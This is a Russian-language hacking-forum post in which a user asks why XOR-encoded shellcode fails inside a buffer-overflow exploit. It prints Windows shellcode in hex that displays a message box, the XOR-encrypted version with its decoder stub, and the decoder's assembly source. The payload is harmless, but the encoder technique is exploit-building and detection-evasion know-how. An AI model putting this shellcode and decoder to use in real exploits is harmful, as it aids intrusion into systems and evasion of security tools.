• XSS.stack #1 – первый литературный журнал от юзеров форума

Шеллкод не работает при переполнении буфера

Loo

floppy-диск
Пользователь
Регистрация
26.01.2014
Сообщения
4
Реакции
0
В общем есть шеллкод (выводит месседж бокс)

Код:
31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879746501686b656e42682042726f89e1fe490b31c05150ffd7

в обычном виде работает как просто при запуске из exe файла, так и внедренным в эксплоит который использует buffer overflow


проблема такая что если я заксорю шеллкод, он будет рабочим при запуске напрямую, но перестает работать в эксплоите.

в чем может быть проблема? нуль байтов чтобы не было предусмотрел.
Код:
EB035BEB05E8F8FFFFFF8BC383C011B1718A1880F302881840E2F633D0B03266891089500E89501E89400A8970228910827C0E3177F08BC5017A3E89557A03C089782203C533EF8936AD03C447833C4463766377F0837C0A477A6B7677EB89782603C564892E6D89781E03C5897EADFE03C56A7B7667036A69676C406A2240706D8BE3FC4B0933C25352FDD5


.Code
Main:

GETDELTA:
Jmp NEXT
PREV:
pop ebx
jmp END_GETDELTA
NEXT:
call PREV
END_GETDELTA:
Mov Eax, Ebx ; eax = delta
Add Eax, 17 ; shellcode position
Mov Cl, 113 ; shellcode length
@@1:
Mov Bl, Byte Ptr [Eax] ; читаем очередной байт зашифрованного тела в bl
Xor Bl, 2 ; ксорим его на XOR_KEY
Mov Byte Ptr [Eax], Bl ; записываем расшифрованный байт в тело
Inc Eax ; перемещаем указатель на следующий байт тела
Loop @@1 ; если ecx не равен 0 - новый виток цикла

код расшифровщика на асме
End Main

помогите понять)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх